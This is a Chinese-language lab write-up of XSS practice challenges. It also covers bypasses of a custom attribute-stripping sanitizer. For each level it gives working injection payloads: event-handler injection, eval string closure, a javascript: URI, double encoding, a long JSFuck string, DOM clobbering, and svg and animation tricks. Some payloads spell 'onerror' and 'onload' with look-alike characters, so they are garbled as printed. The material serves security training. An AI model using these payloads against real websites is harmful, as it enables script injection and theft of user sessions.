目录
一、XSS靶场练习
靶场地址
基础部分
Ma Spaghet!
从源码中我们可以看到url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串。这里我们看到了innerHTML,查看官方文档
看到这,我们可以使用img标签,来完成这道题目
?somebody=<img src=1 οnerrοr="alert(1337)">
Jefff
我们直接分析源码,有一个jeff参数,我们看到了eval函数,我们依然看官方文档。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval
题目解法(两种方法)
第一种闭合
?jeff=aaa";alert(1337);"
第二种使用连接符
?jeff=aaa"-alert(1337);-"
Ugandan Knuckles
分析源码,发现我们的传参在input当中,而且还没有过滤双引号,那我可以尝试闭合双引号,逃逸出来,做我们想做的事情,我们使用onclick来实现这一关的需求,但是由于题目有不能交互这样的限制,那么我们就不可以使用onclick,毕竟这一关过滤了<>,但是我想到了input有着焦点的功能,那我们使用onfocus+autofocus来实现自动聚焦
?wey=aaa" οnfοcus=alert(1337) autofocus="
Ricardo Milos
查看源码后发现,这一关有action,而在action中可以使用伪协议,同时这一关会在进入页面后两秒钟自动提交,那就简单了
?ricardo=javascript:alert(1337)
Ah That's Hawt
查看分析源码后,我们发现这一关有正则表达式,过滤了()`\并且是全局过滤,这样一来,不能使用()就对弹窗很不利,那么我首先想到的办法就是编码,利用编码绕过,这时候我想起浏览器解析顺序是
URL 解析器->HTML 解析器-> CSS 解析器->JS解析器
那我们就是用二次解析进行绕过
?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">
Ligma
看完这一关后的源码后,发现过滤了大A到大Z,小A到小Z,0-9,那这时候我们也不能使用编码,我想到了使用jsfuck网站加密,那这样无法被url解析,我们需要改为urlcode编码方式
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29
Mafia
分析源码明显可以看出,这一关过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则,同时也限制了一个长度,那么我们就不可以像上一关一样了,但是由于他只过滤了alert,我首先想到弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗,那么我们就可以轻松实现了
?mafia=prompt(1337)
?mafia=confirm(1337)
很明显,我们的这两个弹窗函数可以完美的绕过他这个正则,但是我们细想一下,聪明人只有我们自己吗,都已经过滤了alert了,那些这个正则的人难道不会过滤其他两个弹窗函数吗,答案明显是会的,那如果都过滤了我们该怎么办呢
我这里的做法是使用Function构造函数
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
当然这里还有其他方法,我就不举例了,感兴趣的可以自行去研究
Ok, Boomer
分析源码,这道题通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify,DOMPurify防御用户输入框架,会把你的危险属性过滤完了,而这个过滤框架由安全团队cure53开发,以我们的技术很难绕过。但是注意setTimeout函数内的ok参数这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏,查看页面源代码,我们发现突破口在setTimeout(ok,2000)
这里我们使用DOM Clobbering,称为DOM破坏技术
?boomer=<a id=ok href=tel:alert(1337)>
二、扩展部分
代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
<script>alert(1)</script>
</title>
</head>
<body>
<div class="aaa"id="aaaa">aaaaa</div>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
</html>
分析代码,location.hash 用于获取 URL 中的片段标识符(即 URL 中 # 后的部分)。substr(1) 会移除掉 #,获取后续的内容。decodeURIComponent() 用于解码这些 URI 编码的字符。这意味着页面会获取 URL 中哈希值部分的内容,并解码为普通文本。document.createElement('div') 创建了一个新的 div 元素,并将 data(即从 URL 中获取的解码后的哈希值内容)插入到该 div 中。root.querySelectorAll('*') 遍历 root 中的所有元素,接着通过 el.removeAttribute(attr.name) 移除了每个元素的所有属性。这一步是为了删除可能包含恶意代码的属性,如 onclick、style 或 src 等,从而在某种程度上进行 XSS 防护。document.body.appendChild(root) 将这个清理过的 div 添加到文档的主体中,完成动态内容的插入。虽然在 JavaScript 中通过移除所有属性来防止部分 XSS 攻击,但直接将用户提供的数据插入到页面中是非常危险的。
可以看到,我们通过url传递参数,传递了两个,一个src =1,一个onerror,最后保留下来了onerror参数,那这是什么原理呢,我们可以根据这个进行猜测,那就是,在这个循环删除完第一个参数的时候,指针网第二个参数走,但是由于,第一个参数没有数据了,我的传递的第二个参数向前走了一步,也就是到达了第一个参数的位置,而现在指针指的位置为空了,删不删的无所谓了,那么依据我们的分析,我们传递的参数可以保留偶数的参数,奇数参数都将会被删除,那么我们可以试一试看看我们的猜测是否正确。
进过我们测试,发现确实使我们分析的那样,这个循环删除是在原有的基础上进行的,那么我们构造payload
<img a=1 src=1 b=2 οnerrοr=alert(1)>
很明显,我们拿下这个基础的啦,接下来我们来试试进阶版
进阶版代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
<script>alert(1)</script>
</title>
</head>
<body>
<div class="aaa" id="aaaa">aaaaa</div>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name)
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
我们再次拿上面的那种做法看是否可以成功
删的干干净净了,那我们该如何做呢
第一种解法
我们在他删之前就执行完我们想执行的东西
<svg><svg οnlοad=alert(1)>
很明显,这成功了,但是这个的原理又是什么呢,这就需要我们去了解底层代码了,(chrome v8),大家感兴趣的可以自行去了解。
第二种解法
我们已经知道源码中有attributes了,那我们使用input构建两个个id=attributes,但是由于他会删除值,所以我们需要再这个前面使用form进行一个包裹,而from中我们可以在前面来个动画,在加载动画钱可以弹出想要的东西,而form表单中的元素不会被删除,因为input也包含在form中。payload如下
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
如果不理解我讲的意思,其实可以那这个payload下断点进行调试,可以看的更加清楚。
这就是我们的第二种解法。